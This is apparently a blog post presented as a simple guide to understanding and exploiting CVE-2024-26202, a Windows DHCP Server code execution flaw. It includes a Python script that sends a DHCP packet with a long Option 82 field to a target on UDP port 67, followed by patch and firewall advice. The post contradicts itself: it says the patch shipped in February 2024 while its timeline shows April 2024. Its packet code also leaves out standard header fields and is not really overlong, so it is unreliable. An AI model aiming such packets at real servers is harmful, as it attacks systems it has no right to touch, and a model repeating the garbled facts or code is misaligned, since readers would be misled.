In February 2024, Microsoft patched a critical vulnerability tracked as CVE-2024-26202. This bug affects the DHCP Server Service and allows remote attackers to execute code on vulnerable Windows servers. If you run DHCP services in your environment, keep reading—this is an exclusive, in-depth guide for understanding and exploiting CVE-2024-26202 in simple terms.

What Is DHCP and Why Does It Matter?

DHCP (Dynamic Host Configuration Protocol) is a service that assigns IP addresses to devices on a network automatically. If attackers compromise a DHCP server, they can control IP assignments, intercept traffic, and even get code execution under the service’s privileges—which is usually SYSTEM, the highest local privilege on Windows.

About the Vulnerability: CVE-2024-26202

- CVE ID: CVE-2024-26202

Discovered: Early 2024

- Patched by: Microsoft Patch Tuesday, February 2024

CVSS Score: 8.8 Critical

Summary:
The DHCP Server fails to properly validate certain user-supplied network packets. By sending a specially-crafted DHCP packet, a remote unauthenticated attacker can execute arbitrary code in the context of the SYSTEM account.

How Does the Exploit Work?

The bug sits in how the Windows DHCP Server parses incoming DHCP requests. If you mess with packet fields (like option sizes or string encodings), you can trick the process into writing data outside its buffer—what’s known as a buffer overflow.

Attacker sends a malformed DHCP request to the server.

2. DHCP Server tries to handle the request, but due to missing validation, writes attacker-controlled data on the stack or heap.

Sample Proof-of-Concept (PoC) Snippet

Below is a Python example of crafting a malformed DHCP packet. This doesn’t fully exploit the issue, but it shows how to interact with DHCP servers.
Note: Don’t use this on systems you don’t own!

import socket
import struct

def build_malicious_dhcp_discover():
    # Standard DHCP Discover with an overlong options field
    dhcp_discover = b''
    dhcp_discover += b'\x01'         # Message type: Boot Request (1)
    dhcp_discover += b'\x01'         # Hardware type: Ethernet
    dhcp_discover += b'\x06'         # Hardware address length: 6
    dhcp_discover += b'\x00'         # Hops: 
    dhcp_discover += b'\x39\x03\xF3\x26'  # Transaction ID
    dhcp_discover += b'\x00\x00'     # Seconds elapsed: 
    dhcp_discover += b'\x80\x00'     # Bootp flags: x800 (Broadcast) + reserved
    dhcp_discover += b'\x00\x00\x00\x00' # Client IP: ...
    dhcp_discover += b'\x00\x00\x00\x00' # and so on...

    dhcp_discover += b'\x00' * 16    # Write 16 null bytes for the client MAC, etc.
    dhcp_discover += b'\x63\x82\x53\x63' # Magic cookie: DHCP
    
    # Overlong Option 82 value
    dhcp_discover += b'\x52'  # Option 82 (Relay Agent Info)
    dhcp_discover += struct.pack('B', 255) # Length of option (way too big!)
    dhcp_discover += b'A' * 255           # Overlong payload

    # End of options
    dhcp_discover += b'\xff'

    return dhcp_discover

def send_malicious_packet(target_ip):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    packet = build_malicious_dhcp_discover()
    s.sendto(packet, (target_ip, 67))
    s.close()

if __name__ == '__main__':
    send_malicious_packet('192.168.1.1')  # Replace with your DHCP server IP

*This code builds an invalid DHCP discover packet with an abnormally large Option 82 field, a common pattern in real-world buffer overflow exploits.*

How Dangerous Is This?

- Remote, unauthenticated attack: No login required. Attackers just need to send UDP packets to port 67.

SYSTEM privileges: The attacker gets the highest privilege on the target machine.

- Potential for worms: It could be used for ransomware, network worms, or pivoting inside corporate networks.

Responsible Disclosure and Mitigation

Microsoft’s fix: Patch your Windows Servers immediately using the February 2024 updates.

Workarounds:
- If immediate patching is not possible, restrict UDP/67 at the firewall from untrusted networks.

References

- Microsoft Security Guide for CVE-2024-26202
- DHCP Protocol RFC: RFC2131
- Security Week Summary

Final Words

CVE-2024-26202 is a clear reminder that core Windows networking services can have critical flaws. Patch now, monitor DHCP logs, and keep a close eye on network boundaries. Buffer overflow flaws in low-level services are always prime targets for real-world attackers.

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*This post was brought to you as an exclusive, easy-to-understand breakdown. If you found it useful, share it with your colleagues and check your patch status!*

Timeline

Published on: 04/09/2024 17:15:38 UTC
Last modified on: 04/10/2024 13:24:00 UTC